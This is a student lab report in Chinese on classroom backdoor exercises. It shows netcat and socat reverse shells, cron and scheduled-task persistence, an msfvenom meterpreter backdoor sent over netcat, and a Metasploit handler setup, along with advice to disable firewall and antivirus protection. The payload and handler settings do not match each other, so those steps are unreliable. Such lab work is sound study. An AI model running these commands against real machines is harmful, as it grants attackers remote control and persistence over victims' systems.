一.實驗內容
(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)
(2)使用socat獲取主機操作Shell, 任務計劃啟動
(3)使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。
二.實驗過程
1.使用netcat獲取主機操作Shell,cron啟動某項任務
(1)檢視主機的ip
首先關閉主機和虛擬機器的防火牆,在windows主機上下載ncat程式,並開啟cmd,輸入ipconfig指令檢視主機的IP地址
由圖可知,主機IP地址為172.16.178.63
(2)使用netcat進行連線並獲取shell
虛擬機器登入root使用者,主機cmd進入ncat所在目錄。
Win主機輸入指令:ncat.exe -l -p 9000
Linux虛機輸入指令:nc 172.16.178.63 9000 -e /bin/sh
win主機輸入ls,夠正常顯示虛擬機器下檔名
回到Windows主機的cmd中進行操作,切換到root模式,輸入:
echo "* * * * * echo "20222321" > /home/kali/20222321.txt" > /var/spool/cron/crontabs/root
crontab -l
進入Linux虛擬機器進入對應路徑檢查20222321.txt檔案,發現修改成功:
2 使用socat獲取主機操作Shell, 任務計劃啟動
(1)用socat連線Windows和kali
windows主機下載socat,透過cmd命令進入socat資料夾所在位置,輸入如下命令:
socat.exe tcp-listen:9000 exec:cmd.exe,pty,stderr
kali虛擬機器使用socat獲取主機的操作shell,在虛擬機器中開啟監聽:socat - tcp:172.16.178.63:9000
(2) 建立計劃任務並啟動
提前在windows主機中編寫要計劃啟動的程式,程式碼如圖所示:
在虛擬機器中執行如下命令schtasks /create /sc minute /mo 1 /tn "test" /tr C:\Users\Desktop\20222321.exe
檢視windows主機,可以看到執行的任務計劃程式。
3 使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
關閉windows的實時保護,同時關閉防火牆
(1)生成後門檔案
使用ifconfig命令獲取虛擬機器IP:
可知,虛擬機器IP為192.168.58.129
輸入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.213.201 LPORT=2321 -f exe > 20222321backdoor.exe
主機進入ncat所在目錄下,輸入指令:
ncat.exe -lv 2321 > "E:\桌面\20222321backdoor.exe
虛擬機器上輸入指令:
nc 172.16.178.63 2321 < 20222321backdoor.exe(將生成的後門檔案20222321backdoor.exe傳給主機)
成功在桌面收到相應檔案:
(3)配置監聽模組
在Kali終端輸入命令msfconsole,對監聽模組進行配置:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.58.129
set LPORT 2321
輸入exploit,使監聽模組開始執行
三.問題及解決方案
(1)使用MSF meterpreter生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell時檔案無法傳送到主機
解決:關閉防火牆以及防毒軟體
(2)crontabs root不執行
解決:不修改root檔案,改為修改mykali檔案
四.學習感悟、思考等
1.實驗前需要提前關閉windows的安全防護
2.Windows自動任務無法執行,需要額外補充起始於哪個位置